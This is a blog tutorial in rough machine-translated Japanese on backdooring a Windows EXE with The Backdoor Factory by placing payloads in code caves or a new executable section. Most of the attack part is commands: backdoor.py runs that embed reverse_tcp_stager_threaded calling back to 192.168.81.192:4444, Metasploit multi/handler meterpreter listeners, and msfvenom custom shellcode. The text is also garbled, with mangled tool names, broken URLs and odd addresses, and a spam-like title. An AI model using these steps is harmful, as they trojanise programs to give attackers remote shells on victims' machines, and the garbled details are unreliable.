2000P's Blog

最初のページ

bdfを利用して、exeファイルにバックドア–3 g student–good in studyを埋め込み、アトティトゥードand health

著者 winterton 時間 2020-04-11
all

0 x 00クライテリア

The Backdoor Factoryは実行可能ファイルにバックドアを埋め込み、プログラム実行プロセスを修正し、追加のpayloadを実行するために使用できます。

The Backdoor Factory

本稿では、EXEファイルに後門を入れる原理を紹介し、The Backdoor Factoryを裏口に入れる方法をテストし、詳細を分析し、考えをまとめます。

The Backdoor Factory

The Backdoor Factoryダウンロードアドレス:

https://github.com/secrets quirrel/the-backdoor-factory

0 x 01概要

以下の内容を紹介します。

0 x 02基礎知識

PEファイルフォーマット:

参考資料:

https://en.wikibook s.org/wiki/X 86 uDiscembly/Windows

Code Caves:

参考資料:

https://www.co.deproject.com/Artcles/2024/The-Beginers-Guide-to-Coodecaves

Code Cavesの直観認識:

vc 6.0を使ってexeファイルを作成し、ファイル中の利用可能なCode Cavesを確認する。

vc6.0

cコード:

#include "stdafx.h" #include <windows.h> #include <stdio.h> int array[200]={1,2,3,4,5,6,7,8,9}; char array2[200]="123456789ABCDEF"; int main(int argc, char* argv[]) { printf("hello world"); return 0; }

Releaseコンパイル作成ファイルは、Immunity Debuggerを使用して開きます。

View-mome ory(ショートカットキーAlt+M)

View Memory

下の図

hello.exeは四つのセグメントを含み、それぞれPE header、.text、.rdaaと.dataである。

PE header .text .rdata .data

hello.exeの.dataセグメントを参照してください。

.data

下の図

大段の0 x 00データが見つかりました。これらの位置はpayloadに置き換えられます。

0 x 03ファイルの裏口埋め込みの原理

植込みの原理

プログラムの実行フローを修正して、Code Cavesにジャンプして、payloadを実行して、プログラムの正常な流れに戻ります。

プログラムのデフォルトは.textセグメントのみ実行権限があります。他のセグメント(例えば.dataまたは.rdata)にpayloadを追加する場合、このセグメントを実行権限を追加する必要があります。

.text .data .rdata

注:

実際に使用すると、複数のCode Cavesをジャンプさせてpayloadを実行できます。

考え方を生かす

1、新たに区域を追加し、権限は読み書き可能で実行可能(RWE)

使用可能ツールLordPE

参考資料を手動で追加:

https://www.exploh-db.com/docs/42061.pdf

利点:

簡単で直接的で、ファイルのCode Cavesの大きさを考慮する必要はありません。

短所:

ファイルの長さを増やす

2、Code Cavesを使う

既存のセグメントを検索して、利用可能なCode Cavesがあるかどうかを探します。実行不可能なセグメントに対して、実行可能な権限を追加する必要があります。

利点:

ファイルサイズを変更しない

短所:

Code Cavesのサイズがpayloadの長さを満たしているかどうかを考慮する必要があります。

0 x 04実際テストThe Backdoor Factory

Kali 2.0デフォルト統合The Backdoor Factory、パスはusr/share/backdoor-factoryです。

The Backdoor Factory usr/share/backdoor-factory

テストシステムはKali 2.0に選択されています。

Kali 2.0 #include <windows.h> #include <stdio.h> int array[200]={1,2,3,4,5,6,7,8,9}; char array2[200]="123456789ABCDEF"; int main(int argc, char* argv[]) { printf("hello world\n"); system("PAUSE"); return 0; }

プログラム出力ハローワールド後、一時停止します。

The Backdoor Factoryでよく見られる機能を選んで紹介します。

1、このファイルがThe Backdoor Factoryに適用されているか確認する。

./backdoor.py -f test.exe -S

出力は以下の通りです

[*] Checking if binary is supported [*] Gathering file info [*] Reading win32 entry instructions test.exe is supported.

2、このファイルを取得するための利用可能なパスロード

./backdoor.py -f test.exe -s show

出力は以下の図です

利用可能なパスロードは以下の通りです。

名前解析:

cavemumineruinline:

payloadテンプレートとして、長さは135で、制御フローのジャンプだけを実現しました。他の操作をしないで、カスタム開発shellcodeのテンプレートとしても使えます。

逆アセンブリのpayloadフォーマットは以下の図です。

reversecumushellautcpuinline:

対応meterpreter server:

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp

以下のようにします。

METEPRETERサーバ

use exploit/multi/handler set payload windows/meterpreter/reverse_https

アートギャラリーの中のiat:

アートはImport Address Tableの略語であり、もしPEファイルのIATがAPI LoadLibraryAとGet ProcAddresを含まないならば、直接にpayroad reversecurinlineを実行したら失敗します。iatture setucpuinlineは修復IATの機能を追加しました。

reverse_shell_tcp_inline iat_reverse_tcp_inline

useruplied(ushellcoded)

カスタムpayload、payloadはmsfで生成できます。

3、このファイルの検索に利用できるCode Caves

./backdoor.py -f test.exe -c

もしpayloadの長さが703なら、Code Cavesは703より長い長さを満たす必要があります。パラメータは以下の通りです。

./backdoor.py -f test.exe -c -l 703

出力は以下の図です

全部で三つの利用可能な場所を見つけました。

No section ->Begin Cave 0x240 ->End of Cave 0x1000 Size of Cave (int) 3520 ************************************************** No section ->Begin Cave 0x693a ->End of Cave 0x700c Size of Cave (int) 1746 ************************************************** We have a winner: .data ->Begin Cave 0x7051 ->End of Cave 0x7350 Size of Cave (int) 767 SizeOfRawData 0x1000 PointerToRawData 0x7000 End of Raw Data: 0x8000

出力のアドレスは相対的な仮想アドレス(Relative Virtual Address)であり、つまりファイルヘッダ(ベースアドレスImage Base)に対するオフセットアドレスである。

メモリ内の実際のアドレス(仮想アドレスVirtual Addres)=Image Base+RVA

ImageBase=0 x 0040000

Immunity Debuggerを使ってメモリ構造を調べて検証します。

メモリ構造は下図のようです。

(1)

Noセレクション->Begin Cave 0 x 240->End of Cave 0 x 1000 Size of Cave(int)3520

メモリの実際のアドレスは0 x 00400400-x 00401000で、PE headerの中に位置して、デフォルトの権限はRです。

R

メモリアドレスのデータを確認します。

(2)

Noセレクション->Begin Cave 0 x 693 a->End of Cave 0 x 700 cSize of Cave(int)1746

メモリの実際のアドレスは0 x 00693 a-0 x 0040700 cです。rdaaセグメントでは、デフォルトの権限はRです。

R

メモリアドレスのデータを確認します。

(3)

We have a winner:.data->Begin Cave 0 x 7051->End of Cave 0 x 7350 Size of Cave(int)767

メモリの実際のアドレスは0 x 00407051-0 x 00407350です。dataセグメントでは、デフォルトの権限はRWです。

RW

メモリアドレスのデータを確認します。

The Backdoor Factoryによって発見されたCode Cavesはすべて要求に合っていることが分かります。

4、payloadを追加する

ここでは、reversext pustager readedを選択してテストします。payloadの長さは703です。

reverse_tcp_stager_threaded

サーバー

use exploit/multi/handler set payload windows/meterpreter/reverse_tcp

(1)新区セグメントを追加し、payloadを保存する

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -o test1.exe

新区の名称は.sdataで、権限はRWEです。

.sdata RWE

下の図

新規追加セグメント名をaaaと指定すると、パラメータは以下の通りです。

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -n aaa -o test1.exe

(2)payloadを.data段に保存する

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test2.exe

ヒントによって選択します。data段

.data

data段権限をRWEに変更しました。次の図です。

.data RWE

プログラムの入り口にジャンプコードを追加しました。JMP TEST 2.040075、0 x 00407055は追加のパスロードを保存します。

JMP TEST2.00407055 0x00407055

下の図

(3)パスロードは他のセグメントに保存されます。

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test3.exe

ヒントに従ってPE headerを選択します。以下の図です。

実行するとエラーが発生します。修復が必要です。

ツールnasmashellを使用して、アセンブリコードを16進データに変換します。

nasm_shell

Kali 2.0デフォルト統合NAsmall

ツールは以下の図を使います。

(4)カスタムパス

パスを生成:

msfvenom -p windows/messagebox -f raw >msg.bin

追加コード:

./backdoor.py -f test.exe -s user_supplied_shellcode_threaded -U msg.bin -o test4.exe

テストは下図の通りです

0 x 05まとめ

本稿では、The Backdoor Factoryを使ってEXEファイルにバックドアを入れる方法を紹介し、Code Cavesを利用して元のファイルの大きさを変えないことができる。

The Backdoor Factory

もちろん、この利用方法はウイルス対策ソフトによって検出されました。ここで紹介した内容は技術研究だけです。

防御の角度に立って、ファイルをダウンロードする時は注意してください。ソースからプログラムをダウンロードして、ファイルを確認しながら。

LEAVE A REPLY